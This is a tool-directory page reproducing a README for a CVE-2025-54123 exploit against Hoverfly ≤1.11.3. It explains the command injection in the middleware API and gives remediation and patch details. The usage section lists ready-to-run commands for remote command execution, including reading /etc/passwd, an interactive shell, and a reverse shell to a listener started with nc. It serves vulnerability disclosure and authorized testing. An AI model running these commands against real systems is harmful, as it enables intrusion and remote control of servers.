Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/0x00phantom-hat/hoverfly-1.11.3-rce-cve-2025-54123-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPapers & ResearchLearning & EducationRed TeamingPayload Development
GitHub0x00phantom-hat/hoverfly-1.11.3-rce-cve-2025-54123-exploit

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

Exploit for CVE-2025-54123, an authenticated OS command injection in Hoverfly's middleware API, providing check-only, single-command, interactive shell, and reverse-shell capabilities for authorized security testing.

View Repository
1305 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    371
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    336
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    322

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-54123 — Hoverfly Middleware API Remote Code Execution

Authenticated RCE via OS Command Injection in Hoverfly ≤ 1.11.3

Vulnerability Overview

PropertyValue
CVE IDCVE-2025-54123
CVSS Score9.8 — Critical
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-78 (OS Command Injection), CWE-20 (Improper Input Validation)
ProductHoverfly — Open-source API simulation tool
AffectedAll versions up to and including 1.11.3
Fixed In1.12.0 (patch commit)
AdvisoryGHSA-r4h8-hfp2-ggmf

Technical Analysis

Here's Case Study deep dive and technical analysis as white box and black box prespective https://medium.com/@phantom_hat/cve-2025-54123-hoverfly-1-11-3-command-injection-rce-case-study-patch-diffing-aacc092f7f3a

Attack Surface

Hoverfly exposes a RESTful admin API (default port 8888) for managing simulation configurations. The middleware management endpoint at /api/v2/hoverfly/middleware accepts a JSON body with binary and script fields that define an external middleware process.

Root Cause

The vulnerability is born from a combination of three code-level flaws:

  1. Insufficient Input Validation — middleware.go:93-96: The SetBinary() function accepts the binary parameter without any validation or sanitisation, allowing an attacker to specify arbitrary executables (e.g., bash).

  2. Unsafe Command Execution — local_middleware.go:14-19: The middleware is executed via exec.Command() with the attacker-controlled binary and script values passed directly as arguments, enabling OS command injection.

  3. Immediate Execution During Testing — hoverfly_service.go:173: When the middleware is set via the API, Hoverfly immediately tests the middleware by executing it, triggering the injected command at configuration time rather than at proxy-intercept time.

Attack Flow

Attacker                              Hoverfly (≤ 1.11.3)
   │                                        │
   │─── POST /api/token-auth ──────────────>│  (1) Authenticate
   │<── { "token": "eyJ..." } ─────────────│
   │                                        │
   │─── PUT /api/v2/hoverfly/middleware ───>│  (2) Inject payload
   │    { "binary": "bash",                 │
   │      "script": "<malicious cmd>" }     │
   │                                        │
   │    ┌──────────────────────────────────┐│
   │    │ exec.Command("bash", tmpScript)  ││  (3) Immediate execution
   │    │ → attacker command runs as       ││
   │    │   the Hoverfly process user      ││
   │    └──────────────────────────────────┘│
   │                                        │
   │<── Command output in error response ──│  (4) Exfiltrate output
   │                                        │

Exploit Usage

Prerequisites

  • Python 3.8+
  • Valid credentials for the Hoverfly admin API (default: admin / configurable password)

Installation

git clone https://github.com/<your-username>/CVE-2025-54123.git
cd CVE-2025-54123
pip install -r requirements.txt

Modes of Operation

Check-Only Mode

Verify target reachability and authentication without exploitation:

python3 exploit.py -u http://target:8888 -U admin -P <password> -C

Single Command Execution

Execute a single OS command on the target:

python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'id'

Interactive Pseudo-Shell

Drop into a persistent shell session:

python3 exploit.py -u http://target:8888 -U admin -P <password> -i

Reverse Shell

Send a reverse shell to your listener:

# Terminal 1 — start listener
nc -lvnp 4444

# Terminal 2 — launch exploit
python3 exploit.py -u http://target:8888 -U admin -P <password> --revshell 10.0.0.1:4444

Verbose Mode with Proxy

Route traffic through Burp Suite for inspection:

python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'cat /etc/passwd' --proxy -v

Full Flag Reference

FlagDescriptionDefault
-u, --urlTarget Hoverfly URLRequired
-U, --usernameAdmin usernameRequired
-P, --passwordAdmin passwordRequired
-c, --commandOS command to execute—
-C, --checkCheck-only mode (no exploitation)false
-i, --interactiveInteractive pseudo-shellfalse
--revshellReverse shell LHOST:LPORT—
--proxyRoute through 127.0.0.1:8080false
--timeoutRequest timeout (seconds)15
-v, --verboseEnable verbose outputfalse

Remediation

ActionDetails
UpgradeUpdate Hoverfly to v1.12.0 or later, where the set middleware API is disabled by default
Network SegmentationRestrict access to the Hoverfly admin API (port 8888) to trusted networks only
AuthenticationUse strong, unique passwords for the Hoverfly admin API
MonitoringMonitor for unexpected PUT requests to /api/v2/hoverfly/middleware

Patch Details

The fix in commit 17e60a9 disables the set middleware API by default. Subsequent changes to documentation (commit a9d4da7) make users aware of the security implications of exposing this endpoint.


References

  • NVD — CVE-2025-54123
  • GitHub Security Advisory — GHSA-r4h8-hfp2-ggmf
  • Vulnerable Code — hoverfly_service.go#L173
  • Vulnerable Code — middleware.go#L93
  • Vulnerable Code — local_middleware.go#L13
  • Patch Commit — 17e60a9

Disclaimer

This tool is provided for authorized security testing and educational research purposes only. Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide. The author assumes no liability for misuse of this software. Always obtain explicit written permission before testing any system you do not own.


Project Structure

Download Tool